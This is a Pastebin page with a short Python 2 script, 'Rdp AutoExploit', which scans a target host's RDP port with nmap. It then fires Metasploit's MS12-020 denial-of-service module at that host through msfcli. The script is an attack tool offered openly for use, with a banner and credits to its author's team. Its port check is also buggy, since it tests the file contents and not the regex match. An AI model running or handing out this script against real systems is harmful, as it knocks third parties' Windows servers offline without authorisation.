stoker

Rdp Exploit

Feb 19th, 2014
2,060
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.28 KB | None | 0 0
  1. #!/usr/bin/python
  2. import os,sys,re,subprocess
  3. print '''
  4. +-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+
  5. |R|d|p| |A|u|t|o|E|x|p|l|o|i|t| |B|y| |S|t|o|k|e|r|
  6. +-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+
  7. [!] Author - Muhammad Adeel aka Stoker
  8. [!] Mail   - [email protected]
  9. [!] Greetz - Team Xploiters
  10.  
  11. [!] P.S : This Exploit is Based on => auxiliary/dos/windows/rdp/ms12_020_maxchannelids <='''
  12. if os.getuid() != 0:
  13.     print '\n\t\t[UnSufficient Priviliges]Error:You are Not Root!\n'
  14.     sys.exit(1)
  15. def help():
  16.   if len(sys.argv) != 2:
  17.     print """
  18.    [!]Usage -   ./script.py [Target Host]
  19.    [!]Example - ./script.py 127.0.0.1\n"""
  20.     sys.exit(1)
  21. help()
  22. RHOST = sys.argv[1]
  23. nmap = subprocess.Popen('nmap -p3389 %s -oN /tmp/nmap.txt' %RHOST, shell=True).wait()
  24. nmapresul = open('/tmp/nmap.txt', 'rU')
  25. found = nmapresul.read()
  26. vulnerability = re.search(r'3389[/]tcp\sopen', found)
  27. if not found:
  28.   print "\n[!] Port 3389 is Close."
  29.   sys.exit(1)
  30. print '\n[!] Port Is Open. Let me try AutoRdp Exploit'
  31. metasploit = subprocess.Popen('msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids  RHOST=%s  RPORT=3389 E' %RHOST, shell=True).wait()
  32. subprocess.Popen('rm -f /tmp/nmap.txt > /dev/null', shell=True).wait()
  33. end = raw_input('Hit Enter to Exit.')
Add Comment
Please, Sign In to add comment